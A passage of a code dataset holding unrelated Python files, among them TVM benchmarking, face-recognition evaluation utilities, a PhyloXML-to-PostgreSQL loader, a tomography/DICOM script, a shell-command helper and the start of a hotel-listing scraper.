tflite.Model.Model.GetRootAsModel(tflite_model_buf, 0)\n\ndtype=\"uint8\"\nwidth=128\nheight=128\nimage_data = load_test_image(dtype, width, height)\n\ninput_tensor = \"input\"\ninput_shape = (1, 128, 128, 3)\ninput_dtype = dtype\n\n# Parse TFLite model and convert it to a Relay module\nmod, params = relay.frontend.from_tflite(tflite_model,\n shape_dict={input_tensor: input_shape},\n dtype_dict={input_tensor: input_dtype})\ndesired_layouts = {'qnn.conv2d': ['NCHW', 'default']}\nseq = tvm.transform.Sequential([relay.transform.RemoveUnusedFunctions(),relay.transform.ConvertLayout(desired_layouts)])\nwith tvm.transform.PassContext(opt_level=3):\n mod = seq(mod)\n\ntvm_target = get_tvm_target(device, get_device_type(), get_device_arch(), get_device_attributes())\n\ntvm_targets = tvm.target.Target(tvm_target)\ncpu_target = \"llvm\"\ntarget_host=cpu_target\n\ncpudevice = tvm.runtime.cpu()\n\nenable_acl=True\ntvm_ops=176\nacl_partitions=1\natol=0.002\nrtol=0.01\n\ntry:\n lib = build_module(mod, tvm_targets, params, enable_acl, tvm_ops, acl_partitions)\nexcept Exception as e:\n err_msg = \"The module could not be built.\\n\"\n #if config:\n # err_msg += f\"The test failed with the following parameters: {config}\\n\"\n err_msg += str(e)\n raise Exception(err_msg)\n\ngen_module = graph_executor.GraphModule(lib[\"default\"](cpudevice))\n#gen_module.set_input(**inputs)\ngen_module.set_input(input_tensor, tvm.nd.array(image_data))\n\nftimer = gen_module.module.time_evaluator(\"run\", cpudevice, number=1, repeat=10)\nprof_res = np.array(ftimer().results) * 1000 # multiply 1000 for converting to millisecond\nprint(\"acl %-20s %-7s %-19s (%s)\" % (model_name,device, \"%.2f ms\" % np.mean(prof_res), \"%.2f ms\" % np.std(prof_res)))\nprint(tvm_target)\n\n","sub_path":"mobilenet-v1.1-128-acl-quant.py","file_name":"mobilenet-v1.1-128-acl-quant.py","file_ext":"py","file_size_in_byte":2857,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"56476840","text":"from rest_framework import serializers\nfrom .models import fonac, BeneficiariosUno, BeneficiariosDos\nfrom contratos.serializers import ContratoFonacSerializer\n\nclass BeneficiariosUnoSerializer(serializers.ModelSerializer):\n class Meta:\n model = BeneficiariosUno\n fields = ('id_ben', 'nombre', 'fecha_nac', 'personaFon', 'parentesco', 'fecha_alta')\n\nclass BeneficiariosDosSerializer(serializers.ModelSerializer):\n class Meta:\n model = BeneficiariosDos\n fields = ('id', 'nombre', 'beneficiario', 'parentesco', 'fecha_nac',)\n\nclass fonacSerializer(serializers.ModelSerializer):\n persona = ContratoFonacSerializer()\n class Meta:\n model = fonac\n fields = ('id_fonac', 'persona', 'fecha_alta')\n","sub_path":"sitSalud/fonac/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":742,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"279083001","text":"from engine import setup_args, Engine\n\n\nif __name__ == '__main__':\n parser = setup_args()\n parser.set_defaults(\n alias='MF-10240',\n tensorboard='./tmp/runs/ml10m/MF/fixed/',\n regularizer = 'fixed',\n ##########\n ## data ##\n ##########\n reconstruct_data=True,\n data_type='ml10m-mf',\n data_path='./data/ml-10m/ratings.dat',\n load_in_queue=True,\n filtered_data_path='./tmp/data/ml10m-mf-filter_u0i0.dat',\n eval_res_path='./tmp/res/ml10m/{alias}/{epoch_idx}.csv',\n item_freq_threshold_lb=0,\n user_freq_threshold_lb=0,\n freq_threshold_ub=int(1e9),\n metric_topk=100,\n ######################\n ## train/test split ##\n ######################\n train_test_split='lro',\n test_ratio=0.2,\n valid_ratio=0.25,\n ##########################\n ## Devices & Efficiency ##\n ##########################\n use_cuda=True,\n log_interval=1, # 816\n eval_interval=10, # 10 epochs between 2 evaluations\n multi_cpu_train=False,\n num_workers_train=1,\n multi_cpu_valid=False,\n num_workers_valid=1,\n multi_cpu_test=True,\n num_workers_test=8,\n device_ids_test=[3],\n device_id=2,\n batch_size_train=10240,\n batch_size_valid=10240,\n batch_size_test=10240,\n num_negatives=1,\n ###########\n ## Model ##\n ###########\n fixed_lambda_candidate=[1e-4],#-1, -3,-5,-7,-9, 0\n latent_dim=128,\n mf_lr=1e-3,\n mf_optimizer='adam',\n mf_amsgrad=False,\n mf_eps=1e-8,\n mf_l2_regularization=0,\n mf_betas=(0.9, 0.999),\n mf_grad_clip=100, # 0.1\n mf_lr_exp_decay=1,\n lambda_update_interval=1,\n )\n\n opt = parser.parse_args(args=[])\n opt = vars(opt)\n\n # rename alias\n opt['alias'] = opt['alias'] + 'Top{}_{}_{}_lambda{}_K{}_' \\\n 'bsz{}_mflr_{}_mfoptim{}'.format(\n opt['metric_topk'],\n opt['alias'],\n opt['regularizer'],\n opt['fixed_lambda_candidate'],\n opt['latent_dim'],\n opt['batch_size_train'],\n opt['mf_lr'],\n opt['mf_optimizer'])\n\n engine = Engine(opt)\n engine.train()","sub_path":"src/train_ml10m_fixed.py","file_name":"train_ml10m_fixed.py","file_ext":"py","file_size_in_byte":2287,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"105824721","text":"import tensorflow as tf\nfrom tensorflow.python.keras import layers\nimport libs.models.fmobilefacenet as fmobilefacenet\n\nimport os\nimport cv2\nimport io\n\nimport math\nimport numpy as np\n\nfrom sklearn.model_selection import KFold\nfrom scipy import interpolate\n\ndef get_model_by_config(config, is_train):\n if config[\"network\"] == \"fmobilefacenet\":\n return fmobilefacenet.get_network(config, is_train)\n else:\n print(\"error\")\n exit(0)\n return model\n\n\n\n\ndef distance(embeddings1, embeddings2, distance_metric=0):\n if distance_metric == 0:\n # Euclidian distance\n# embeddings1 = embeddings1 / np.linalg.norm(embeddings1, axis=1, keepdims=True)\n# embeddings2 = embeddings2 / np.linalg.norm(embeddings2, axis=1, keepdims=True)\n diff = np.subtract(embeddings1, embeddings2)\n dist = np.sum(np.square(diff), 1)\n elif distance_metric == 1:\n # Distance based on cosine similarity\n dot = np.sum(np.multiply(embeddings1, embeddings2), axis=1)\n norm = np.linalg.norm(embeddings1, axis=1) * np.linalg.norm(embeddings2, axis=1)\n similarity = dot / norm\n dist = np.arccos(similarity) / math.pi\n else:\n raise 'Undefined distance metric %d' % distance_metric\n\n return dist\n\n\ndef calculate_roc(thresholds, embeddings1, embeddings2, actual_issame, distance_metric=0, nrof_folds=10):\n assert (embeddings1.shape[0] == embeddings2.shape[0])\n assert (embeddings1.shape[1] == embeddings2.shape[1])\n nrof_pairs = min(len(actual_issame), embeddings1.shape[0])\n nrof_thresholds = len(thresholds)\n k_fold = KFold(n_splits=nrof_folds, shuffle=False)\n\n tprs = np.zeros((nrof_folds, nrof_thresholds))\n fprs = np.zeros((nrof_folds, nrof_thresholds))\n accuracy = np.zeros((nrof_folds))\n\n dist = distance(embeddings1, embeddings2, distance_metric)\n print(dist)\n indices = np.arange(nrof_pairs)\n\n for fold_idx, (train_set, test_set) in enumerate(k_fold.split(indices)):\n\n # Find the best threshold for the fold\n acc_train = np.zeros((nrof_thresholds))\n for threshold_idx, threshold in enumerate(thresholds):\n _, _, acc_train[threshold_idx] = calculate_accuracy(threshold, dist[train_set],\n actual_issame[train_set])\n best_threshold_index = np.argmax(acc_train)\n for threshold_idx, threshold in enumerate(thresholds):\n tprs[fold_idx, threshold_idx], fprs[fold_idx, threshold_idx], _ = calculate_accuracy(threshold,\n dist[test_set],\n actual_issame[test_set])\n _, _, accuracy[fold_idx] = calculate_accuracy(thresholds[best_threshold_index], dist[test_set],\n actual_issame[test_set])\n\n tpr = np.mean(tprs, 0)\n fpr = np.mean(fprs, 0)\n return tpr, fpr, accuracy\n\n\ndef calculate_accuracy(threshold, dist, actual_issame):\n predict_issame = np.less(dist, threshold)\n tp = np.sum(np.logical_and(predict_issame, actual_issame))\n fp = np.sum(np.logical_and(predict_issame, np.logical_not(actual_issame)))\n tn = np.sum(np.logical_and(np.logical_not(predict_issame), np.logical_not(actual_issame)))\n fn = np.sum(np.logical_and(np.logical_not(predict_issame), actual_issame))\n\n tpr = 0 if (tp + fn == 0) else float(tp) / float(tp + fn)\n fpr = 0 if (fp + tn == 0) else float(fp) / float(fp + tn)\n acc = float(tp + tn) / dist.size\n return tpr, fpr, acc\n\n\ndef calculate_tar_far(threshold, dist, actual_issame):\n predict_issame = np.less(dist, threshold)\n true_accept = np.sum(np.logical_and(predict_issame, actual_issame))\n false_accept = np.sum(np.logical_and(predict_issame, np.logical_not(actual_issame)))\n n_same = np.sum(actual_issame)\n n_diff = np.sum(np.logical_not(actual_issame))\n tar = float(true_accept) / float(n_same)\n far = float(false_accept) / float(n_diff)\n return tar, far\n\n\ndef calculate_tar(thresholds, embeddings1, embeddings2, actual_issame, far_target, nrof_folds=10, distance_metric=0,\n subtract_mean=False):\n assert (embeddings1.shape[0] == embeddings2.shape[0])\n assert (embeddings1.shape[1] == embeddings2.shape[1])\n nrof_pairs = min(len(actual_issame), embeddings1.shape[0])\n nrof_thresholds = len(thresholds)\n k_fold = KFold(n_splits=nrof_folds, shuffle=False)\n\n tar = np.zeros(nrof_folds)\n far = np.zeros(nrof_folds)\n\n indices = np.arange(nrof_pairs)\n\n for fold_idx, (train_set, test_set) in enumerate(k_fold.split(indices)):\n if subtract_mean:\n mean = np.mean(np.concatenate([embeddings1[train_set], embeddings2[train_set]]), axis=0)\n else:\n mean = 0.0\n dist = distance(embeddings1 - mean, embeddings2 - mean, distance_metric)\n\n # Find the threshold that gives FAR = far_target\n far_train = np.zeros(nrof_thresholds)\n for threshold_idx, threshold in enumerate(thresholds):\n _, far_train[threshold_idx] = calculate_tar_far(threshold, dist[train_set], actual_issame[train_set])\n if np.max(far_train) >= far_target:\n f = interpolate.interp1d(far_train, thresholds, kind='slinear')\n threshold = f(far_target)\n else:\n threshold = 0.0\n\n tar[fold_idx], far[fold_idx] = calculate_tar_far(threshold, dist[test_set], actual_issame[test_set])\n\n tar_mean = np.mean(tar)\n far_mean = np.mean(far)\n tar_std = np.std(tar)\n return tar_mean, tar_std, far_mean\n\n\n\n\ndef check_folders(paths):\n if isinstance(paths, str):\n paths = [paths]\n for path in paths:\n if not os.path.exists(path):\n os.makedirs(path)\n\n\ndef average_gradients(tower_grads):\n \"\"\"Calculate the average gradient for each shared variable across all towers.\n Note that this function provides a synchronization point across all towers.\n Args:\n tower_grads: List of lists of (gradient, variable) tuples. The outer list\n is over individual gradients. The inner list is over the gradient\n calculation for each tower.\n Returns:\n List of pairs of (gradient, variable) where the gradient has been averaged\n across all towers.\n \"\"\"\n average_grads = []\n for grad_and_vars in zip(*tower_grads):\n # Note that each grad_and_vars looks like the following:\n # ((grad0_gpu0, var0_gpu0), ... , (grad0_gpuN, var0_gpuN))\n grads = []\n for g, _ in grad_and_vars:\n # Add 0 dimension to the gradients to represent the tower.\n expanded_g = tf.expand_dims(g, 0)\n\n # Append on a 'tower' dimension which we will average over below.\n grads.append(expanded_g)\n\n # Average over the 'tower' dimension.\n grad = tf.concat(axis=0, values=grads)\n grad = tf.reduce_mean(grad, 0)\n\n # Keep in mind that the Variables are redundant because they are shared\n # across towers. So .. we will just return the first tower's pointer to\n # the Variable.\n v = grad_and_vars[0][1]\n grad_and_var = (grad, v)\n average_grads.append(grad_and_var)\n return average_grads\n\n\ndef tensor_description(var):\n \"\"\"Returns a compact and informative string about a tensor.\n Args:\n var: A tensor variable.\n Returns:\n a string with type and size, e.g.: (float32 1x8x8x1024).\n \"\"\"\n description = '(' + str(var.dtype.name) + ' '\n sizes = var.get_shape()\n for i, size in enumerate(sizes):\n description += str(size)\n if i < len(sizes) - 1:\n description += 'x'\n description += ')'\n return description\n\n\ndef analyze_vars(variables, path):\n \"\"\"Prints the names and shapes of the variables.\n Args:\n variables: list of variables, for example tf.global_variables().\n print_info: Optional, if true print variables and their shape.\n Returns:\n (total size of the variables, total bytes of the variables)\n \"\"\"\n f = open(path, 'w')\n f.write('---------\\n')\n f.write('Variables: name (type shape) [size]\\n')\n f.write('---------\\n')\n total_size = 0\n total_bytes = 0\n for var in variables:\n # if var.num_elements() is None or [] assume size 0.\n var_size = var.get_shape().num_elements() or 0\n var_bytes = var_size * var.dtype.size\n total_size += var_size\n total_bytes += var_bytes\n f.write(var.name+' '+tensor_description(var)+' '+'[%d, bytes: %d]\\n' % (var_size, var_bytes))\n f.write('Total size of variables: %d\\n' % total_size)\n f.write('Total bytes of variables: %d\\n' % total_bytes)\n return total_size, total_bytes\n\ndef load_bin(path, image_size):\n print('reading %s\\r' % path)\n import pickle\n bins, issame_list = pickle.load(open(path, 'rb'), encoding='bytes')\n num = len(bins)\n images = np.zeros(shape=[num, image_size, image_size, 3], dtype=np.float32)\n images_f = np.zeros(shape=[num, image_size, image_size, 3], dtype=np.float32)\n # m = config['augment_margin']\n # s = int(m/2)\n cnt = 0\n for bin in bins:\n img = np.fromstring(io.BytesIO(bin).read(), np.uint8)\n img = cv2.imdecode(img, cv2.IMREAD_COLOR)\n # img = img[s:s+image_size, s:s+image_size, :]\n img_f = np.fliplr(img)\n# img = img/127.5-1.0\n# img_f = img_f/127.5-1.0\n images[cnt] = img\n images_f[cnt] = img_f\n cnt += 1\n print('done!\\r')\n return (images, images_f, issame_list)\n# return (images, images_f, issame_list)\n\n\n\ndef evaluate(embeddings, actual_issame, far_target=1e-3, distance_metric=0, nrof_folds=10):\n thresholds = np.arange(0, 10, 0.01)\n if distance_metric == 1:\n thresholdes = np.arange(0, 10, 0.0025)\n embeddings1 = embeddings[0::2]\n embeddings2 = embeddings[1::2]\n tpr, fpr, accuracy = calculate_roc(thresholds, embeddings1, embeddings2, np.asarray(actual_issame), distance_metric=distance_metric, nrof_folds=nrof_folds)\n tar, tar_std, far = calculate_tar(thresholds, embeddings1, embeddings2, np.asarray(actual_issame), far_target=far_target, distance_metric=distance_metric, nrof_folds=nrof_folds)\n acc_mean = np.mean(accuracy)\n acc_std = np.std(accuracy)\n return tpr, fpr, acc_mean, acc_std, tar, tar_std, far\n\n\ndef run_embds(func, images, batch_size):\n batch_num = len(images)//batch_size\n left = len(images)%batch_size\n embds = []\n for i in range(batch_num):\n image_batch = images[i*batch_size: (i+1)*batch_size]\n cur_embd = func([image_batch])[0]\n embds += list(cur_embd)\n# print('%d/%d' % (i, batch_num), end='\\r')\n if left > 0:\n image_batch = images[-left:]\n cur_embd = func([image_batch])[0]\n embds += list(cur_embd)\n# print('get features done!\\r')\n return np.array(embds)\n\ndef get_port(num=1):\n def tryPort(port):\n import socket\n sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n result = False\n try:\n sock.bind((\"0.0.0.0\", port))\n result = True\n except:\n pass\n sock.close()\n return result\n\n port = []\n for i in range(1024, 65535):\n if tryPort(i):\n port.append(i)\n if len(port) == num:\n return port\n","sub_path":"libs/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":11439,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"592114923","text":"from Bio import Phylo\n#import sys\nimport psycopg2\n\ndef connect():\n conn = psycopg2.connect(\"dbname='postgres' user='postgres' host='localhost' password='123'\")\n cur = conn.cursor()\n conn.commit()\n return(cur,conn) \n\ndef create_table(cur):\n cur.execute(\"\"\"CREATE TABLE IF NOT EXISTS PHYLOXML(BRANCH_NAME VARCHAR(20), BRANCH_LENGTH FLOAT(20), TOTAL_BRANCH_LENGTH FLOAT(20), CONFIDENCE INTEGER, NODE_PATH_LENGTH INTEGER, TERMINALS_NUMBER INT, PARENT_NODE VARCHAR(20))\"\"\")\n cur.execute(\"\"\"TRUNCATE TABLE PHYLOXML\"\"\") \n \ndef add_values(cur,a,b,c,d,e,f,g):\n cur.execute(\"INSERT INTO PHYLOXML(BRANCH_NAME,BRANCH_LENGTH,TOTAL_BRANCH_LENGTH,CONFIDENCE,NODE_PATH_LENGTH,TERMINALS_NUMBER,PARENT_NODE) VALUES (%s,%s,%s,%s,%s,%s,%s)\",(a,b,c,d,e,f,g))\n\ncur,conn = connect()\ncreate_table(cur)\nconn.commit()\n\ntree = Phylo.read(\"fullexample-1.xml\", \"phyloxml\")\ncounter = 1\nbranchName = ''\n#output = open('output.txt', 'w')\n\nfor clade in tree.find_clades():\n TotalBranchLength = 0.00\n np = ''\n \n if counter == 1:\n counter = counter + 1 \n \n elif clade.name == None:\n branchName = 'B' + str(counter)\n clade.name = branchName\n counter = counter + 1 \n for node_path in tree.get_path(clade):\n TotalBranchLength = TotalBranchLength + node_path.branch_length\n node_path = tree.get_path(clade)\n if len(node_path) > 1:\n np = (node_path[-2])\n\n# output.write(branchName)\n a = branchName \n# output.write(str(clade.branch_length))\n b = str(clade.branch_length)\n# output.write(str(TotalBranchLength))\n c = str(TotalBranchLength)\n if clade.confidence == None:\n# output.write(\"0\")\n d = \"0\"\n else :\n# output.write(str(int(clade.confidence)))\n d = str(int(clade.confidence))\n \n# output.write(str(len(node_path)))\n e = str(len(node_path))\n# output.write(str(len(clade.get_terminals())))\n f = str(len(clade.get_terminals()))\n if np == '':\n# output.write(\"ROOT\")\n g = \"ROOT\"\n else:\n# output.write(str(np))\n g = str(np)\n\n add_values(cur,a,float(b),float(c),int(d),int(e),int(f),g)\n conn.commit()\n\n else:\n \n for node_path in tree.get_path(clade):\n TotalBranchLength = TotalBranchLength + node_path.branch_length\n node_path = tree.get_path(clade)\n if len(node_path) > 1:\n np = (node_path[-2])\n \n# output.write(str(clade.name))\n a = str(clade.name) \n# output.write(str(clade.branch_length))\n b = str(clade.branch_length) \n# output.write(str(TotalBranchLength))\n c = str(TotalBranchLength) \n# output.write(\"0\")\n d = \"0\"\n# output.write(str(len(node_path)))\n e = str(len(node_path)) \n# output.write(\"1\")\n f = \"1\"\n# output.write(str(np))\n g = str(np)\n add_values(cur,a,float(b),float(c),int(d),int(e),int(f),g)\n conn.commit()\n\nprint(\"Stored given XML data into postgreSQL DB named 'postgres' (which is default database for PostgreSQL) in table named 'PHYLOXML'\")\n\n","sub_path":"xml_to_postgress.py","file_name":"xml_to_postgress.py","file_ext":"py","file_size_in_byte":3169,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"596486168","text":"#! python3\r\n#\r\n# NAME : xl_to_txt_converter.py\r\n#\r\n# DESCRIPTION : Reads in an Excel spreadsheet and writes its contents to text files,\r\n# so that each column of table is corresponding to its text file that\r\n# contains every row from a column.\r\n# \r\n# AUTHOR : Tim Kornev (@Timmate on GitHub)\r\n#\r\n# CREATED DATE : 9th of July, 2016\r\n#\r\n\r\n\r\nimport os\r\nimport sys\r\n\r\nimport openpyxl\r\nfrom openpyxl.cell import get_column_letter\r\n\r\nif len(sys.argv) == 2:\r\n FILENAME = sys.argv[1]\r\nelse:\r\n raise Exception('Invalid number of arguments.')\r\n\r\nprint()\r\nprint('Reading in {}...'.format(FILENAME))\r\nwb = openpyxl.load_workbook(FILENAME)\r\nsheet = wb.active\r\n\r\nfilename_suffix = '_column.txt'\r\n\r\n# Loop over each column.\r\nfor col in range(1, sheet.max_column + 1):\r\n col_letter = get_column_letter(col)\r\n print('Writing data to {}{}'.format(col_letter, filename_suffix))\r\n filename = open('{}{}'.format(col_letter, filename_suffix), 'w')\r\n\r\n # Loop over each row in the column.\r\n for row in range(1, sheet.max_row + 1):\r\n\r\n row_value = str(sheet[col_letter + str(row)].value)\r\n\r\n # Add newline character to row's value.\r\n if not row_value.endswith('\\n'):\r\n row_value += '\\n'\r\n\r\n # Write result to a file.\r\n if row_value is None:\r\n # Skip an empty row.\r\n continue\r\n else:\r\n filename.write(row_value)\r\n\r\n filename.close()\r\n\r\nprint()\r\nprint('Done.')\r\nprint()\r\n","sub_path":"Chapter 12 – Working with Excel Spreadsheets/xl_to_txt_converter.py","file_name":"xl_to_txt_converter.py","file_ext":"py","file_size_in_byte":1506,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"621031799","text":"# !/usr/bin/python\n\n# sources:\n# http://eduinf.waw.pl/inf/utils/002_roz/2008_06.php\n# http://www.dspguide.com/ch25/5.htm\n# https://en.wikipedia.org/wiki/Bresenham's_line_algorithm\n# https://en.wikipedia.org/wiki/DICOM\n# https://github.com/darcymason/pydicom\n\nimport radon\nimport iradon\nfrom matplotlib import pyplot as plt\nfrom skimage.color import rgb2gray\nfrom skimage import io\nimport numpy as np\nimport datetime\nimport time\nfrom sklearn.metrics import mean_squared_error\nimport pydicom\nfrom pydicom.dataset import Dataset, FileDataset\nimport pydicom.uid\n\nglobal_width = 90\nglobal_detector_amount = 180\nglobal_alpha = 2\n\n\ndef write_dicom(pixel_array,filename):\n \"\"\"\n INPUTS:\n pixel_array: 2D numpy ndarray. If pixel_array is larger than 2D, errors.\n filename: string name for the output file.\n \"\"\"\n\n ## This code block was taken from the output of a MATLAB secondary\n ## capture. I do not know what the long dotted UIDs mean, but\n ## this code works.\n file_meta = Dataset()\n file_meta.MediaStorageSOPClassUID = 'Secondary Capture Image Storage'\n file_meta.MediaStorageSOPInstanceUID = '1.3.6.1.4.1.9590.100.1.1.111165684411017669021768385720736873780'\n file_meta.ImplementationClassUID = '1.3.6.1.4.1.9590.100.1.0.100.4.0'\n ds = FileDataset(filename, {},file_meta = file_meta,preamble=b\"\\0\"*128)\n ds.Modality = 'WSD'\n ds.ContentDate = str(datetime.date.today()).replace('-','')\n ds.ContentTime = str(time.time()) #milliseconds since the epoch\n ds.StudyInstanceUID = '1.3.6.1.4.1.9590.100.1.1.124313977412360175234271287472804872093'\n ds.SeriesInstanceUID = '1.3.6.1.4.1.9590.100.1.1.369231118011061003403421859172643143649'\n ds.SOPInstanceUID = '1.3.6.1.4.1.9590.100.1.1.111165684411017669021768385720736873780'\n ds.SOPClassUID = 'Secondary Capture Image Storage'\n ds.SecondaryCaptureDeviceManufctur = b'Python 2.7.3'\n\n ## These are the necessary imaging components of the FileDataset object.\n ds.SamplesPerPixel = 1\n ds.PhotometricInterpretation = \"MONOCHROME2\"\n ds.PixelRepresentation = 0\n ds.HighBit = 15\n ds.BitsStored = 16\n ds.BitsAllocated = 16\n ds.SmallestImagePixelValue = b'\\\\x00\\\\x00'\n ds.LargestImagePixelValue = b'\\\\xff\\\\xff'\n ds.Columns = pixel_array.shape[0]\n ds.Rows = pixel_array.shape[1]\n if pixel_array.dtype != np.uint16:\n pixel_array = pixel_array.astype(np.uint16)\n ds.PixelData = pixel_array.tostring()\n\n ds.save_as(filename)\n return\n\n\nclass Result:\n def __init__(self, picture=[]):\n self.raw = picture\n self.improved = picture\n\n\nclass MyImage:\n original = []\n sinogram = []\n filtered = []\n reconstructed = []\n result = Result()\n\n def __init__(self, picture_):\n self.original = picture_\n\n def img_to_sinogram(self):\n self.sinogram, self.lines = radon.img_to_sinogram(self.original, width=global_width,\n detector_amount=global_detector_amount, alpha=global_alpha)\n fig, plots = plt.subplots(1, 2)\n #plots[0].imshow(self.original, cmap='gray')\n #plots[1].imshow(self.sinogram, cmap='gray')\n ##plt.show()()\n # print(\"Oryginalny obraz:\")\n # print(np.shape(self.original))\n # print(\"Stenogram:\")\n # print(np.shape(self.sinogram))\n plt.savefig(\"sinogram.jpg\")\n return self.sinogram\n\n def sinogram_to_img(self):\n self.reconstructed = iradon.sinogram_to_img(self.original, self.sinogram, self.lines)\n fig, plots = plt.subplots(1, 2)\n # print(\"Końcowy obraz bez filtracji sinogramu\")\n #plots[0].imshow(self.original, cmap='gray')\n #plots[1].imshow(self.reconstructed, cmap='gray')\n ##plt.show()()\n return self.result\n\n def filter_img(self):\n self.filtered = iradon.sinogram_to_img_f(self.original, self.sinogram, self.lines)\n\n self.intImg = np.array([[int(x * 255) for x in row] for row in self.filtered])\n\n write_dicom(self.intImg, 'output.dcm')\n\n fig, plots = plt.subplots(1, 2)\n # print(\"Końcowy obraz z filtracją sinogramu\")\n #plots[0].imshow(self.original, cmap='gray')\n #plots[1].imshow(self.filtered, cmap='gray')\n #plt.show()()\n return self.filtered\n\n\ndef calculate_error(picture):\n print(mean_squared_error(picture.original, picture.reconstructed))\n print(mean_squared_error(picture.original, picture.filtered))\n\n\ndef tomograf(img_):\n picture = MyImage(img_)\n picture.img_to_sinogram()\n picture.sinogram_to_img()\n picture.filter_img()\n return picture\n\n\ndef do_tomography():\n img = np.zeros([200, 200])\n img[24:174, 24:174] = rgb2gray(io.imread(\"in/banana.bmp\"))\n\n final_image = tomograf(img)\n # calculate_error(final_image)\n print(\"Done\")\n","sub_path":"tomograf/tomograph.py","file_name":"tomograph.py","file_ext":"py","file_size_in_byte":4779,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"191728484","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom scipy.integrate import cumtrapz\nfrom jv import read_parameter_file\n\n\ndef main(filename, show_plot=False):\n npz_dir = 'npz-files/'\n plot_dir = 'plots/'\n data = np.load(npz_dir + filename + '.npz')\n y, s_eval = data['y'], data['s_eval']\n u0_bdy, u1_bdy = data['u0_bdy'], data['u1_bdy']\n pars = read_parameter_file(filename)\n\n s_mask = s_eval > 4./5\n F = cumtrapz(u0_bdy + u1_bdy, s_eval, initial=0)\n fig_av, ax_av = plt.subplots()\n ax_av.plot(1 / s_eval[s_mask], s_eval[s_mask] ** 2 * u1_bdy[s_mask], label='Velocity PDF of filtered plts')\n ax_av.plot(1 / s_eval[s_mask], 1 - F[s_mask], label='Velocity CDF of all plts')\n ax_av.axvline(1, color='k')\n ax_av.legend(loc='best')\n ax_av.set_xlabel('$v^*$')\n ax_av.set_ylabel('Probability density')\n ax_av.set_title('$\\\\epsilon_1 = {}$, $\\\\epsilon_2 = {}$, $a = {}$, $c = {}$'.format(pars['eps1'], pars['eps2'], pars['a'], pars['c']))\n fig_av.savefig(plot_dir + filename + '.png')\n if show_plot:\n plt.show()\n\n dat_dir = 'dat-files/distributions/'\n v_dat = np.linspace(1/s_eval[-1], 1.5, num=1001)\n f_dat = np.interp(v_dat, (1 / s_eval[s_mask])[::-1],\n (s_eval[s_mask] ** 2 * u1_bdy[s_mask])[::-1])\n F_dat = np.interp(v_dat, (1 / s_eval[s_mask])[::-1], (1 - F[s_mask])[::-1])\n np.savetxt(dat_dir + filename + '-dst.dat',\n np.stack((v_dat, f_dat, F_dat), axis=-1))\n\n\nif __name__ == '__main__':\n import os\n import sys\n filename = sys.argv[1]\n os.chdir(os.path.expanduser('~/thesis/jump-velocity'))\n\n main(filename)\n","sub_path":"jump-velocity/src/avg-vel.py","file_name":"avg-vel.py","file_ext":"py","file_size_in_byte":1637,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"65874429","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport subprocess\nimport pexpect\nimport os\n\n\ndef run(cmd: str) -> str:\n sp = subprocess.Popen(cmd, shell=True, stdin=None,\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE)\n try:\n output, error = sp.communicate()\n return_code = sp.wait(timeout=300)\n if return_code == 0:\n return_data = output.decode('utf-8')\n print(return_data, '\\n')\n return return_data\n print(output.decode('utf-8'))\n return 'error'\n\n except subprocess.TimeoutExpired:\n print('Cmd Timeout!')\n return 'except'\n finally:\n sp.kill()\n\n\ndef sudo_run(cmd, pwd):\n child = pexpect.spawn(cmd)\n index = child.expect(['password', pexpect.EOF, pexpect.TIMEOUT])\n if index == 0:\n child.sendline(pwd)\n\n\ndef check_root():\n if os.geteuid() == 0:\n print(\"We're root!\")\n else:\n print('no root privileges!')\n\n\ndef update():\n run('sudo apt-get update')\n run('sudo apt-get disk-upgrade -y')\n run('sudo apt-get install build-essential')\n","sub_path":"run_cmd.py","file_name":"run_cmd.py","file_ext":"py","file_size_in_byte":1128,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"194582048","text":"#!/home/lvgang/.pyenv/shims/python\n# -*- coding: utf-8 -*-\n# @Date : 2018-10-25 14:09:17\n# @Author : LvGang/Garfield\n# @Email : Garfield_lv@163.com\n\n\nimport os\nimport json\nimport redis\nimport requests\nfrom lxml import etree\nfrom urllib import parse\nfrom datetime import datetime,timedelta\nfrom utils import RedisDB,random_proxy\n\nclass Xchtl(object):\n \"\"\"docstring for Xchtl\"\"\"\n def __init__(self, city):\n self.db = RedisDB()\n self.city = city\n self.city_name = city['city_name']\n self.city_pinyin = city['city_pinyin']\n self.city_id = city['city_id']\n self.headers = {\n 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.67 Safari/537.36'\n }\n\n def _get(self,url):\n response = requests.get(url=url,headers=self.headers,proxies=random_proxy(),timeout=3)\n return response\n\n def _post(self,url,formdata):\n try:\n response = requests.post(url=url,data=formdata,headers=self.headers,proxies=random_proxy(),timeout=5)\n except:\n response = requests.post(url=url,data=formdata,headers=self.headers,proxies=random_proxy(),timeout=5)\n return response\n\n def parse_htl(self, response):\n try:\n res = json.loads(response.text)\n # print(res)\n htl_count = res.get('hotelAmount')\n htl_l = res.get('hotelPositionJSON')\n page_count = len(htl_l)\n for htl in htl_l:\n htl['city_name'] = self.city_name\n htl['url'] = 'http://hotels.ctrip.com/'+htl['url']\n self.db.write_data(key='xchtl:hotels',item=htl)\n return (page_count%htl_count+1)\n except Exception as e:\n print(e)\n self.db.write_data(key='xchtl:citys',item=self.city)\n return 1\n\n def crawl_htl(self,page):\n url_hl = 'http://hotels.ctrip.com/Domestic/Tool/AjaxHotelList.aspx'\n data_hl = {\n 